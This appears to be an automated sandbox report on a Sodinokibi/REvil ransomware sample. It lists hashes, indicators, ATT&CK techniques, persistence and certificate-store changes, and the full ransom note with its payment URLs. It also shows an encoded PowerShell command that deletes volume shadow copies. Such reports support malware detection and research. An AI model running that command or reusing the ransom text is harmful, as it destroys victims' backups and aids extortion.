sodinokibi | 133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de

Analysis

max time kernel
137s
max time network
153s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
03-11-2024 22:22

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General

Target

133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
Size

114KB
MD5

77be32b91561d1ac5e36464766b7b0a7
SHA1

9c72fe9c8e24b5c0bde50c71d74fb2586c4201ce
SHA256

133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de
SHA512

c8d0d6d15322172631b184acf5df86851dff7d8f15fde9cee7d0b7e4919433ec5b096f4079b5acba78d27dcfc42bfc2bcd3f184cb0a54c13b71aeb40f8ea4152
SSDEEP

1536:FApx/1k2jbVnO3c+FpR5Q9JzY02pTmZ0ICS4AtebOMZzqFTj5vel1KkK3I:ck2X8M+Fp4vY06A2roFTj5vYc

Score

10^/10

sodinokibi discovery persistence ransomware

Malware Config

Extracted

Path

C:\Users\39w3wf829-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 39w3wf829. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/EF4C17B5338378CF 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/EF4C17B5338378CF Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: eFIhmXO2etG62jJsAZOpC2NA10EQLzyp2T8o3JrZ3Pv0MEP/sFwCEH/nOYTOcz80 2g4BOXuwE2U5Y9dpfa89fPVr4VuUVanV1AfGo3eO960X5nlDeXvR8P3s4I2aMlLK GExK6zAtWy/nzxRwpYFrp9QbEhVOv62F1seLjUfeU6/nj2EChGDyZ0nFBwfie80V 6wf42rCMC0YuT35wbUu+0/4LOSR6o34JyXbwwzaIGCjGIqDdoSwL5iDU0etBIHeH ImenLMej4IIa5bV7EzQ2K7/FbyT9kxvkNI6u1Bfy1aU9+P9l17HCw3n0XW/xAuqq jDIKy2GaJbHweCE4SSdEPVYz75Km+Afg68KWyVS2K3Uv9zgyZpMD4Hm/ER0fGQDd TmtItW04H1JkQlzkUEx7aP9033I2MqvhqI3IXFBOkjxDsNgeRY7aAlpN8z5NqmOt hPKYWoZn7YgWxwQWo2U6pGItDgmcvYb0sOJeuOoq33fr1x8BYLIfVhhwW5JmInZZ b5rAq0+XdL7F4R2rjqs4swiYlGkycq7DO5G3Z7Sls1cGKt1zknIJIfawjm5y3K3w WnWYOpTAk72VD+B9cRXxLuMNVjmoIqB4Q+zd9b9M83/W9H6xt913CWaHnOIgQ/eE gURlmaYVqrRrkkGzQaYHptkO2ACjn3nhaD1B9VZUzKHwLuQ9uzjAWo6Pt5wCKDcO Nz4364PP7RHfEBc/kC9zrht6TOfmony7f92oUOLFSt6sMe+GwZgD0gxclMsBKxeD g9TKfqgI1XBql/06F0BD4fRDiAudCsSupo6niXv9GkrXW4oQqI1G0glyPLry9xVC Iin96pxc9wCs0PAxMi0qNJnAlkvVxDOUb8sjfc+rdUnWsClb+kl6/HZ3/ABMUndV LaKplPCT2Cuc8rMbHLNiF2zMhPsuDVVLcam74/LKctv82WCmregnqb0kgR8Fd4CD ST+IZKaaXBCgpdg3Eot9xmfMqoBivsxn9aOhHV9Qlwv0bQjiHOjeZo+kcFPXOMU5 H4/IpKLyliMfu1oDVTqOI3UbQytLty4Bhi5ror6iHIvmRizl83UH4evSlwEC77eK ISQQ981muAS9v4E1QSSGOpONcPCjkcrCpXLqFlAZDAI6g7oDSNWV6AhMFIPrL+sh PHBOitjQr5K/+5wCIN9r26dOHTc6F23uLWkX/MIaJqpdRlGIJ/3L4Fy38737H3Xk q7xBAkrM3wfh+cV2Rsd6yNZU0Sb+gyP8gDqA3bIQbNCwW6UKTlK2wv2L1uS7kHjV XBJ5cZ3NGxHaJt1x5/Rj8GBzBXbynRcCkIQ1rTo4J4DzGdyED4UrjiUrIUtd6zHw gcPlxgQZh31ajec8J1Z/6TEtTRcIZLoLTrJKrI8u1ChpR7x+HX8= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/EF4C17B5338378CF

http://decryptor.cc/EF4C17B5338378CF

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Sodinokibi family
sodinokibi

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\XhJXszhvjk = "C:\\Users\\Admin\\AppData\\Local\\Temp\\133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe"	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\N:	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened (read-only)	\??\Q:	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened (read-only)	\??\E:	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened (read-only)	\??\I:	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened (read-only)	\??\J:	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened (read-only)	\??\K:	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened (read-only)	\??\U:	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened (read-only)	\??\V:	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened (read-only)	\??\B:	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened (read-only)	\??\H:	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened (read-only)	\??\O:	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened (read-only)	\??\P:	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened (read-only)	\??\X:	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened (read-only)	\??\F:	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened (read-only)	\??\A:	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened (read-only)	\??\G:	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened (read-only)	\??\R:	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened (read-only)	\??\S:	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened (read-only)	\??\Y:	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened (read-only)	\??\Z:	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened (read-only)	\??\D:	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened (read-only)	\??\L:	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened (read-only)	\??\M:	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened (read-only)	\??\T:	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened (read-only)	\??\W:	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\04n8r2u.bmp"	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe

Drops file in Program Files directory 40 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\CopyWrite.ps1xml	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\GrantConnect.htm	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\GroupExpand.xml	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\InitializeStep.emf	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\39w3wf829-readme.txt	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\39w3wf829-readme.txt	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\AddGrant.rm	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\CompleteDismount.vsx	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\CopyStart.mpp	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\DisconnectPop.kix	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\HideSplit.potm	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\MeasureUnblock.jfif	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\RequestPublish.mp4v	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\RestoreOut.mp4	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File created	\??\c:\program files\39w3wf829-readme.txt	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\SelectUnprotect.vsd	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\RevokeClose.aifc	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\DebugPing.vbs	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\DisconnectUpdate.dwfx	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\OpenClose.bin	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\SkipStart.M2V	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\UnblockDeny.aif	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\BackupWrite.ps1xml	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\TestGrant.xps	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\TestInitialize.jpg	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\TraceUnregister.au3	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\UnpublishResolve.easmx	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\SyncClear.docx	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\ConvertFromStep.001	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\ConvertToPing.mp3	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\PublishGroup.3gp	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\SubmitMerge.scf	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\39w3wf829-readme.txt	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File created	\??\c:\program files (x86)\39w3wf829-readme.txt	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\GroupComplete.fon	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\EnterStart.M2T	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\TraceUnblock.csv	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\ClearRestart.mpg	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\SearchRead.emz	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
File opened for modification	\??\c:\program files\InstallDisconnect.vb	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2372	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
2176	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2372	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
Token: SeDebugPrivilege	2176	powershell.exe
Token: SeBackupPrivilege	2268	vssvc.exe
Token: SeRestorePrivilege	2268	vssvc.exe
Token: SeAuditPrivilege	2268	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2372 wrote to memory of 2176	2372	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe	31
PID 2372 wrote to memory of 2176	2372	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe	31
PID 2372 wrote to memory of 2176	2372	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe	31
PID 2372 wrote to memory of 2176	2372	133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe	31

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe
"C:\Users\Admin\AppData\Local\Temp\133bf8be0cf7003b83b03579970997d408a930e58ec2726715140520900c06de.exe"
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2176

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2364

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2268

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\39w3wf829-readme.txt

Filesize
6KB

MD5
269a9ad00a8f06cf359fdea084e8bc18

SHA1
6fc9e5b96eda7daed17528651faad95a8bb76ad6

SHA256
1d0bce59f8ddc1a18ee07183eb8ec71e036f1c5b52accd59df9d77f770152a39

SHA512
b6ba7a6c62d9a4baeaed5a58b1dfc512d218a5e9d08cc1834e6cdffc4b0480dc1ac0d6f057f2c2e2e34075335d7490163dbc32d4b8517b1dc7be2486959e0f45

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab69AD.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar69D0.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Windows\System32\catroot2\dberr.txt

Filesize
194KB

MD5
b0b43771a610cb7a8ae99da481ab004c

SHA1
b76fd54b2766b7869b17f3838719abc1efa504ef

SHA256
6811038f8bbe40bc0de9d6bb4bb2d941a63fbdcda54f7802e9f0e7444922ade4

SHA512
9dafe8600ce4da2edf934e0ef1f9422b60517bbc7adbd695310a55cb346ac899219a0991422481c71089ad1444942cf8465fe7a712af7a513a728d02a9340cad

Download Submit
memory/2176-4-0x000007FEF5DBE000-0x000007FEF5DBF000-memory.dmp

Filesize
4KB

Download
memory/2176-5-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/2176-6-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/2176-8-0x000007FEF5B00000-0x000007FEF649D000-memory.dmp

Filesize
9.6MB

Download
memory/2176-7-0x000007FEF5B00000-0x000007FEF649D000-memory.dmp

Filesize
9.6MB

Download
memory/2176-9-0x000007FEF5B00000-0x000007FEF649D000-memory.dmp

Filesize
9.6MB

Download
memory/2176-10-0x000007FEF5B00000-0x000007FEF649D000-memory.dmp

Filesize
9.6MB

Download